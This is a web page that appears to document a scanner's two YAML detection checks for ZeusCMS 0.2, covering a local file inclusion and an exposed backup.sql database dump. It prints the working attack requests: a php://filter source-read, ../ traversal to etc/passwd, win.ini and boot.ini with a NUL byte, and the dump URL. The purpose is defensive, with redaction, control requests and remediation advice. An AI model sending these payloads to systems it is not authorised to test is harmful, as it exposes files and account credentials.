ZeusCMS — 2 vulnerability checks

noctis ships 2 vulnerability checks for ZeusCMS, covering 2 CVEs; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

ZeusCMS index.php page Local File Inclusion

CVECVE-2010-0680
Severityhigh · CVSS 7.5
Categoryfile-read — File read
Serviceshttp, https
Detectionset_var, http_request, script, match · highest QoD 75
Feedtests/vulnerabilities/zeuscms/CVE-2010-0680.yaml

Tests ZeusCMS 0.2 for the unauthenticated local file inclusion in index.php, which includes <page>.php for any page parameter that does not contain "http", "ftp" or "www". The feed requests index.php under the usual ZeusCMS folder locations (/zeuscms, /ZeusCMS, the web root, /cms) with page set to php://filter/convert.base64-encode/resource=index, which makes the include print the base64-encoded source of the application's own index.php; the feed decodes it and requires the line that reads the page parameter. When that wrapper is not available (PHP 4), it sends page set to a ../ sequence ending in etc/passwd and a NUL byte (%00), then windows/win.ini and boot.ini, and matches the file's content; the NUL-byte cut only works on PHP before 5.3.4 with magic_quotes_gpc off. That fallback only runs when the first reply is a ZeusCMS page (it carries the centre column main.php prints), so another application's page-parameter inclusion is not reported as this flaw, and a control request for an absent random file must not return any of these files, so a server that serves the same content on every request is not reported. Only the application's own index.php or world-readable system files are read, and the account name (unless root), password field and gecos of the uid-0 line are redacted.

How noctis detects it

  1. HTTP(S) request GET {{dir}}/index.php?page=php://filter/convert.base64-encode/resource=index
  2. Parses / computes the next value with a Rhai script
  3. Checks filter_proof for ^index\.php$ → finding QoD 75: ZeusCMS index.php page Local File Inclusion (CVE-2010-0680)
  4. HTTP(S) request GET {{dir}}/index.php?page=../../../../../../../../../../etc/passwd%00
  5. Checks passwd_r.body for (?m)(?:^|>)([^:\r\n<>]+):[^:\r\n]*:0:([0-9]+):[^:\r\n]*:([^:\r\n]*:[^…
  6. Parses / computes the next value with a Rhai script
  7. HTTP(S) request GET {{dir}}/index.php?page=../../../../../../../../../../windows/win.ini%00
  8. Checks winini_r.body for (?i)(; for 16-bit app support|\[fonts\])
  9. HTTP(S) request GET {{dir}}/index.php?page=../../../../../../../../../../boot.ini%00
  10. Checks bootini_r.body for (?i)\[boot loader\]
  11. Parses / computes the next value with a Rhai script
  12. HTTP(S) request GET {{dir}}/index.php?page={{ctrl_path}}%00
  13. Checks ctrl_r.body for (?mi)((?:^|>)[^:\r\n<>]+:[^:\r\n]*:0:[0-9]+:|; for 16-bit app support…
  14. Checks lin_proof for ^(?:root|<redacted>):<redacted>:0:[0-9]+: → finding QoD 75: ZeusCMS index.php page Local File Inclusion (CVE-2010-0680)
  15. … and 1 more steps — see the feed source below

References:

Feed source — tests/vulnerabilities/zeuscms/CVE-2010-0680.yaml
# ZeusCMS index.php "page" local file inclusion — CVE-2010-0680
#
# ZeusCMS 0.2 (SourceForge zeuscms, unmaintained) builds every page through
# index.php, which reads $page=$_GET['page'] with no check and includes
# main.php; main.php then does (source: ZeusCMSv02.zip, main.php)
#     if(!eregi("http",$page) && !eregi("ftp",$page) && !eregi("www",$page))
#       include "$page.php";
# so any path without "http", "ftp" or "www" in it is included and printed in
# the centre column (`<div id="center_side">`). No login is needed.
#
# Detection (benign, read-only), per ZeusCMS folder location:
#   1. page=php://filter/convert.base64-encode/resource=index — the include
#      prints the base64 source of the app's own index.php; the feed decodes it
#      and requires the `$page=$_GET['page']` line. Works on any PHP >= 5.0,
#      needs no NUL byte, reads no system file (QoD 75).
#   2. Fallback for PHP 4 installs (no php://filter): page=<10×../>etc/passwd%00
#      (the NUL byte cuts the ".php" suffix on PHP < 5.3.4 with
#      magic_quotes_gpc off), then windows/win.ini and boot.ini, with an
#      absent-file control request (QoD 75). Only sent when the first reply
#      is a ZeusCMS page (main.php's `<div id="center_side">`).
#
# Improvements over the source NASL:
#   - The NASL never sends the LFI: it checks admin/backup.sql (a different
#     CVE, CVE-2010-0681 — feed zeuscms/CVE-2010-0681.yaml) and otherwise
#     reports any version 0.2. This feed proves the inclusion itself.
#   - The php://filter proof works on current PHP too, where the NUL-byte
#     trick no longer does, and returns only the application's own source.
#   - The system-file fallback is gated by an absent-file control (random
#     missing directory, same file ending, same HTTP status) so tarpits and
#     honeypots are not reported; the passwd line is redacted.
#
# CVSS: CVE-2010-0680 v2 7.5 (NVD has no v3 score).
#
# Ported from OpenVAS/Greenbone NVT 2010/gb_zeuscms_mult_vuln.nasl
# (OID 1.3.6.1.4.1.25623.1.0.902020, GPL-2.0-only).
uid: 418a6d6b-495b-47c3-8ce5-372b736aed5e
name: "ZeusCMS index.php page Local File Inclusion (CVE-2010-0680)"
description: |
  Tests ZeusCMS 0.2 for the unauthenticated local file inclusion in index.php,
  which includes <page>.php for any page parameter that does not contain
  "http", "ftp" or "www". The feed requests index.php under the usual ZeusCMS
  folder locations (/zeuscms, /ZeusCMS, the web root, /cms) with page set to
  php://filter/convert.base64-encode/resource=index, which makes the include
  print the base64-encoded source of the application's own index.php; the feed
  decodes it and requires the line that reads the page parameter. When that
  wrapper is not available (PHP 4), it sends page set to a ../ sequence ending
  in etc/passwd and a NUL byte (%00), then windows/win.ini and boot.ini, and
  matches the file's content; the NUL-byte cut only works on PHP before 5.3.4
  with magic_quotes_gpc off. That fallback only runs when the first reply is a
  ZeusCMS page (it carries the centre column main.php prints), so another
  application's page-parameter inclusion is not reported as this flaw, and a
  control request for an absent random file must not return any of these files, so a server that serves the
  same content on every request is not reported. Only the application's own
  index.php or world-readable system files are read, and the account name
  (unless root), password field and gecos of the uid-0 line are redacted.
cves: [CVE-2010-0680]
cvss: 7.5
severity: high
category: file-read
confidence_base: 0.30
tags: [zeuscms, php, lfi, local-file-inclusion, path-traversal, file-read, unauthenticated]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2010-0680"
  - "https://www.exploit-db.com/exploits/11437"
  # OpenVAS/Greenbone NASL 2010/gb_zeuscms_mult_vuln.nasl (GPL-2.0-only)

steps:
  # ── Loop group: every following step runs once per ZeusCMS folder location.
  # Each pass resets the values it reads, so nothing is left over.
  - id: init-filter-r
    action: set_var
    var_name: filter_r
    var_value: {status: 0, body: ""}
    loop:
      var: dir
      over: ["/zeuscms", "/ZeusCMS", "", "/cms"]

  - id: init-filter-proof
    action: set_var
    var_name: filter_proof
    var_value: ""

  - id: init-passwd-r
    action: set_var
    var_name: passwd_r
    var_value: {status: 0, body: ""}

  - id: init-lin-proof
    action: set_var
    var_name: lin_proof
    var_value: ""

  - id: init-win-file
    action: set_var
    var_name: win_file
    var_value: ""

  - id: init-winini-r
    action: set_var
    var_name: winini_r
    var_value: {status: 0, body: ""}

  - id: init-bootini-r
    action: set_var
    var_name: bootini_r
    var_value: {status: 0, body: ""}

  - id: init-ctrl-r
    action: set_var
    var_name: ctrl_r
    var_value: {status: 0, body: ""}

  - id: init-ctrl-path
    action: set_var
    var_name: ctrl_path
    var_value: ""

  - id: init-ctrl-hit
    action: set_var
    var_name: ctrl_hit
    var_value: false

  # ── 1. php://filter: base64 source of index.php ──────────────────────────
  - id: read-filter
    action: http_request
    method: GET
    path: "{{dir}}/index.php?page=php://filter/convert.base64-encode/resource=index"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    store_as: filter_r

  # The include output follows main.php's `<div id="center_side">`. Decode the
  # first long base64 run after it and require index.php's page-parameter line.
  - id: filter-decode
    action: script
    code: |
      let m = eregmatch("(?s)center_side.*?([A-Za-z0-9+/]{64,}={0,2})", filter_r.body);
      if m.len() > 1 {
        let src = base64_decode(m[1]);
        if ereg("\\$page\\s*=\\s*\\$_GET\\[\\s*['\"]page['\"]\\s*\\]", src) { "index.php" } else { "" }
      } else { "" }
    condition: "filter_r.status == 200"
    store_as: filter_proof

  - id: report-filter
    action: match
    source: filter_proof
    pattern: "^index\\.php$"
    on_match:
      finding:
        title: "ZeusCMS index.php page Local File Inclusion (CVE-2010-0680)"
        description: "An unauthenticated request to index.php with the page parameter set to php://filter/convert.base64-encode/resource=index returned the base64-encoded PHP source of the application's own index.php, so index.php includes any path given in page. The same flaw reads any file the web server user can read, such as the database credentials in db.php, and runs any PHP code found in an included file."
        remediation: "ZeusCMS is unmaintained and has no fixed release: remove it from the server, or at least make main.php accept only a bare page name (letters, digits, underscore) in the page parameter."
        confidence_delta: 0.55
        qod: 75
        evidence: "{{dir}}/index.php?page=php://filter/convert.base64-encode/resource=index returned the base64 source of index.php, decoded to the line $page=$_GET['page']"
      stop: true

  # ── 2. Fallback (PHP 4: no php://filter) — system files via ../ + NUL ────
  # Only on a ZeusCMS page: main.php always prints the include output inside
  # <div id="center_side">, so the first reply must carry that marker (another
  # app's index.php?page= LFI is not reported as this CVE).
  - id: read-passwd
    action: http_request
    method: GET
    path: "{{dir}}/index.php?page=../../../../../../../../../../etc/passwd%00"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: 'filter_r.status == 200 && filter_r.body.contains("center_side")'
    store_as: passwd_r

  # No on_match: the raw body must not become evidence.
  # name:pw:0:gid:gecos:home:shell — only the name, gid and home:shell are captured.
  - id: passwd-content
    action: match
    source: passwd_r.body
    pattern: "(?m)(?:^|>)([^:\\r\\n<>]+):[^:\\r\\n]*:0:([0-9]+):[^:\\r\\n]*:([^:\\r\\n]*:[^:\\r\\n<]*)"
    condition: "passwd_r.status == 200"
    store_as: passwd_m

  - id: passwd-redact
    action: script
    code: |
      if passwd_m.matched && passwd_m.captures.len() > 2 {
        let name = passwd_m.captures[0];
        name.trim();
        if name == "root" {
          "root:<redacted>:0:" + passwd_m.captures[1] + ":<redacted>:" + passwd_m.captures[2]
        } else {
          "<redacted>:<redacted>:0:" + passwd_m.captures[1] + ":<redacted>:<redacted>"
        }
      } else { "" }
    condition: "passwd_r.status == 200"
    store_as: lin_proof

  - id: read-winini
    action: http_request
    method: GET
    path: "{{dir}}/index.php?page=../../../../../../../../../../windows/win.ini%00"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: 'lin_proof == "" && passwd_r.status == 200'
    store_as: winini_r

  - id: winini-content
    action: match
    source: winini_r.body
    pattern: "(?i)(; for 16-bit app support|\\[fonts\\])"
    condition: 'lin_proof == "" && passwd_r.status == 200'
    on_match:
      set_vars:
        win_file: "windows/win.ini"

  - id: read-bootini
    action: http_request
    method: GET
    path: "{{dir}}/index.php?page=../../../../../../../../../../boot.ini%00"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: 'lin_proof == "" && win_file == "" && passwd_r.status == 200'
    store_as: bootini_r

  - id: bootini-content
    action: match
    source: bootini_r.body
    pattern: "(?i)\\[boot loader\\]"
    condition: 'lin_proof == "" && win_file == "" && passwd_r.status == 200'
    on_match:
      set_vars:
        win_file: "boot.ini"

  # ── Control: same parameter, absent random file — must NOT carry a file ──
  # The absent path sits in a random missing directory but still ENDS with the
  # file that hit and the NUL byte, so a honeypot that keys a fake file on that
  # name or path suffix answers it too.
  - id: control-path
    action: script
    code: |
      let f = if lin_proof != "" { "etc/passwd" } else { win_file };
      "../../../../../../../../../../noctis-absent-" + oob_token + "/" + f
    condition: 'lin_proof != "" || win_file != ""'
    store_as: ctrl_path

  - id: control
    action: http_request
    method: GET
    path: "{{dir}}/index.php?page={{ctrl_path}}%00"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: 'lin_proof != "" || win_file != ""'
    store_as: ctrl_r

  - id: control-content
    action: match
    source: ctrl_r.body
    pattern: "(?mi)((?:^|>)[^:\\r\\n<>]+:[^:\\r\\n]*:0:[0-9]+:|; for 16-bit app support|\\[fonts\\]|\\[boot loader\\])"
    condition: 'lin_proof != "" || win_file != ""'
    on_match:
      set_vars:
        ctrl_hit: true

  # ── Findings (control answered and stayed clean) ─────────────────────────
  - id: report-passwd
    action: match
    source: lin_proof
    pattern: "^(?:root|<redacted>):<redacted>:0:[0-9]+:"
    condition: "ctrl_r.status != 0 && ctrl_r.status == passwd_r.status && ctrl_hit == false"
    on_match:
      finding:
        title: "ZeusCMS index.php page Local File Inclusion (CVE-2010-0680)"
        description: "An unauthenticated request to index.php with the page parameter set to a ../ sequence ending in etc/passwd and a NUL byte returned the content of /etc/passwd, while the same request for an absent file did not. The same flaw reads any other file the web server user can read, such as the database credentials in db.php, and runs any PHP code found in an included file."
        remediation: "ZeusCMS is unmaintained and has no fixed release: remove it from the server, or at least make main.php accept only a bare page name (letters, digits, underscore) in the page parameter, and run PHP 5.3.4 or later, which no longer cuts paths at a NUL byte."
        confidence_delta: 0.55
        qod: 75
        evidence: "{{dir}}/index.php?page=../../../../../../../../../../etc/passwd%00 returned /etc/passwd; control for an absent file returned no file content ({{lin_proof}})"
      stop: true

  - id: report-windows
    action: match
    source: win_file
    pattern: "^(windows/win\\.ini|boot\\.ini)$"
    condition: "ctrl_r.status != 0 && ctrl_r.status == passwd_r.status && ctrl_hit == false"
    on_match:
      finding:
        title: "ZeusCMS index.php page Local File Inclusion (CVE-2010-0680)"
        description: "An unauthenticated request to index.php with the page parameter set to a ../ sequence ending in a Windows system file and a NUL byte returned that file's content, while the same request for an absent file did not. The same flaw reads any other file the web server user can read, such as the database credentials in db.php, and runs any PHP code found in an included file."
        remediation: "ZeusCMS is unmaintained and has no fixed release: remove it from the server, or at least make main.php accept only a bare page name (letters, digits, underscore) in the page parameter, and run PHP 5.3.4 or later, which no longer cuts paths at a NUL byte."
        confidence_delta: 0.55
        qod: 75
        evidence: "{{dir}}/index.php?page=../../../../../../../../../../{{win_file}}%00 returned the content of {{win_file}}; control for an absent file returned no file content"
      stop: true

ZeusCMS admin/backup.sql database dump disclosure

CVECVE-2010-0681
Severitymedium · CVSS 5.0
Categoryexposure — Exposure
Serviceshttp, https
Detectionset_var, http_request, script, match · highest QoD 75
Feedtests/vulnerabilities/zeuscms/CVE-2010-0681.yaml

Tests ZeusCMS 0.2 for the database dump left readable under the web root. ZeusCMS ships admin/backup.sql and its admin backup page rewrites that file with a full dump of the database, including the members table with every account's e-mail address and password hash, and nothing restricts access to it. The feed requests admin/backup.sql under the usual ZeusCMS folder locations (/zeuscms, /ZeusCMS, the web root, /cms) and reports it when the reply is a ZeusCMS SQL dump: it must mention ZeusCMS and hold CREATE TABLE and INSERT INTO statements at the start of a line. A control request for an absent random .sql file in the same folder must not return a dump, so a server that answers every path with the same content is not reported. The evidence lists the names of the dumped tables only, never their content.

How noctis detects it

  1. HTTP(S) request GET {{dir}}/admin/backup.sql
  2. Parses / computes the next value with a Rhai script
  3. HTTP(S) request GET {{dir}}/admin/noctis-absent-{{oob_token}}.sql
  4. Parses / computes the next value with a Rhai script
  5. Checks tables for ^[A-Za-z0-9_] → finding QoD 75: ZeusCMS admin/backup.sql database dump disclosure (CVE-2010-0681)

References:

Feed source — tests/vulnerabilities/zeuscms/CVE-2010-0681.yaml
# ZeusCMS admin/backup.sql database dump disclosure — CVE-2010-0681
#
# ZeusCMS 0.2 (SourceForge zeuscms, unmaintained) ships admin/backup.sql, and
# its admin "backup" page (admin/dump.php) rewrites that same file under the
# web root with a full dump of the database: one `CREATE TABLE <t>(` line per
# table, then `INSERT INTO <t> (...) VALUES(...)` rows — including the members
# table with every account's e-mail and password hash — and, on dumps the admin
# makes, a "# Edited by basdog22 for ZeusCMS" trailer. Nothing protects the
# file: anyone can download it.
#
# Detection (benign, read-only), per ZeusCMS folder location: GET
# <dir>/admin/backup.sql and require, in a 200 reply, the markers the source
# check uses — "ZeusCMS", "CREATE TABLE" and "INSERT INTO" — with the two SQL
# statements at the start of a line, the way dump.php writes them. A control
# request for an absent random .sql file next to it must not return a dump.
# QoD 75. The dump's content never reaches the finding: the evidence names
# the dumped tables only.
#
# Improvements over the source NASL:
#   - The NASL also reports any install whose version is 0.2 even when
#     backup.sql was deleted (deleting it is the fix); this feed only reports
#     a dump that is actually served.
#   - The SQL statements must start a line (not merely appear in an HTML page)
#     and an absent-file control rules out servers answering every path with
#     the same content.
#
# CVSS: CVE-2010-0681 v2 5.0 (NVD has no v3 score).
#
# Ported from OpenVAS/Greenbone NVT 2010/gb_zeuscms_mult_vuln.nasl
# (OID 1.3.6.1.4.1.25623.1.0.902020, GPL-2.0-only).
uid: ab2054f7-a03f-401f-abe9-8b07480a11c4
name: "ZeusCMS admin/backup.sql database dump disclosure (CVE-2010-0681)"
description: |
  Tests ZeusCMS 0.2 for the database dump left readable under the web root.
  ZeusCMS ships admin/backup.sql and its admin backup page rewrites that file
  with a full dump of the database, including the members table with every
  account's e-mail address and password hash, and nothing restricts access to
  it. The feed requests admin/backup.sql under the usual ZeusCMS folder
  locations (/zeuscms, /ZeusCMS, the web root, /cms) and reports it when the
  reply is a ZeusCMS SQL dump: it must mention ZeusCMS and hold CREATE TABLE
  and INSERT INTO statements at the start of a line. A control request for an
  absent random .sql file in the same folder must not return a dump, so a
  server that answers every path with the same content is not reported. The
  evidence lists the names of the dumped tables only, never their content.
cves: [CVE-2010-0681]
cvss: 5.0
severity: medium
category: exposure
confidence_base: 0.30
tags: [zeuscms, php, information-disclosure, sql-dump, backup-file, unauthenticated]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2010-0681"
  - "https://www.exploit-db.com/exploits/11437"
  # OpenVAS/Greenbone NASL 2010/gb_zeuscms_mult_vuln.nasl (GPL-2.0-only)

steps:
  # ── Loop group: every following step runs once per ZeusCMS folder location.
  - id: init-dump-r
    action: set_var
    var_name: dump_r
    var_value: {status: 0, body: ""}
    loop:
      var: dir
      over: ["/zeuscms", "/ZeusCMS", "", "/cms"]

  - id: init-tables
    action: set_var
    var_name: tables
    var_value: ""

  - id: init-ctrl-r
    action: set_var
    var_name: ctrl_r
    var_value: {status: 0, body: ""}

  - id: init-ctrl-hit
    action: set_var
    var_name: ctrl_hit
    var_value: true

  - id: read-dump
    action: http_request
    method: GET
    path: "{{dir}}/admin/backup.sql"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    store_as: dump_r

  # Names of the dumped tables (never their rows), when the reply is a ZeusCMS dump.
  - id: dump-tables
    action: script
    code: |
      let b = dump_r.body;
      if dump_r.status == 200 && b.contains("ZeusCMS")
         && ereg("(?m)^CREATE TABLE [A-Za-z0-9_]+ ?\\(", b)
         && ereg("(?m)^INSERT INTO [A-Za-z0-9_]+ ?\\(", b) {
        let out = "";
        let n = 0;
        for line in b.split("\n") {
          let m = eregmatch("^CREATE TABLE ([A-Za-z0-9_]+) ?\\(", line);
          if m.len() > 1 && n < 30 {
            out += if n == 0 { m[1] } else { ", " + m[1] };
            n += 1;
          }
        }
        out
      } else { "" }
    store_as: tables

  # ── Control: absent random .sql file next to it — must NOT be a dump ─────
  - id: control
    action: http_request
    method: GET
    path: "{{dir}}/admin/noctis-absent-{{oob_token}}.sql"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    condition: 'tables != ""'
    store_as: ctrl_r

  - id: control-check
    action: script
    code: |
      ctrl_r.status != 0 && ereg("(?m)^(CREATE TABLE|INSERT INTO) ", ctrl_r.body)
    condition: 'tables != ""'
    store_as: ctrl_hit

  - id: report
    action: match
    source: tables
    pattern: "^[A-Za-z0-9_]"
    condition: "ctrl_r.status != 0 && ctrl_hit == false"
    on_match:
      finding:
        title: "ZeusCMS admin/backup.sql database dump disclosure (CVE-2010-0681)"
        description: "An unauthenticated request for admin/backup.sql returned a ZeusCMS SQL dump of the database (CREATE TABLE and INSERT INTO statements), while a request for an absent file in the same folder did not. The dump holds every table the backup page exported, typically including the members table with each account's e-mail address and password hash."
        remediation: "Delete admin/backup.sql from the web server (and every later dump the admin backup page writes there), change the passwords of the accounts it held, and deny web access to the admin folder's .sql files. ZeusCMS is unmaintained and has no fixed release: replace it."
        confidence_delta: 0.55
        qod: 75
        evidence: "{{dir}}/admin/backup.sql served a ZeusCMS SQL dump of the tables: {{tables}}"
      stop: true

View these feeds on GitHub